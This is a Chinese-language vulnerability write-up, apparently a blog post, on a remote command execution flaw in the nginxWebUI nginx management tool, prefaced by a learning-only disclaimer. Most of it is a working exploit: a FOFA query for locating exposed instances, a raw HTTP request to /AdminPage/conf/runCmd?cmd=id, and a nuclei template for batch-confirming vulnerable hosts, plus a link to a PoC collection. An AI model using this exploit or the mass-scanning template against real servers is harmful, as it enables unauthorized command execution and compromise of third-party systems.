免责声明:

本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!

漏洞描述

nginxWebUI是一款图形化管理nginx配置的工具,nginxWebUI由于未对用户的输入进行严格过滤,导致任意命令执行漏洞。该漏洞利用条件简单,漏洞危害较高。

fofa语句

"nginxWebUI"

漏洞复现

打开页面

1706022988322.png

构造payload

1706023096516.png

GET /AdminPage/conf/runCmd?cmd=id HTTP/1.1
Host: 
Cookie: SOLONID=ab4603d571394000a48398f2383fdc26; Hm_lvt_8acef669ea66f479854ecd328d1f348f=1705042515; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1705042611
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://192.168.18.128:8080/
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate

nuclei批量验证

1706022945254.png


id: nginxWebUI-runCmd-RCE

info:
  name: nginxWebUI runCmd前台远程命令执行漏洞
  author: changge
  severity: critical
  description: nginxWebUI是一款图形化管理nginx配置的工具,nginxWebUI由于未对用户的输入进行严格过滤,导致任意命令执行漏洞。该漏洞利用条件简单,漏洞危害较高。
  metadata:
    max-request: 1
    fofa-query: "nginxWebUI"
    verified: true
http:
  - raw:
      - |
        GET /AdminPage/conf/runCmd?cmd=id HTTP/1.1
        Host: {{Hostname}}
        Cookie: SOLONID=ab4603d571394000a48398f2383fdc26; Hm_lvt_8acef669ea66f479854ecd328d1f348f=1705042515; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1705042611
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Referer: {{BaseURL}}
        Upgrade-Insecure-Requests: 1
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Accept-Encoding: gzip, deflate

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"uid") && status_code == 200'

github poc总汇地址:https://github.com/AYcg/poc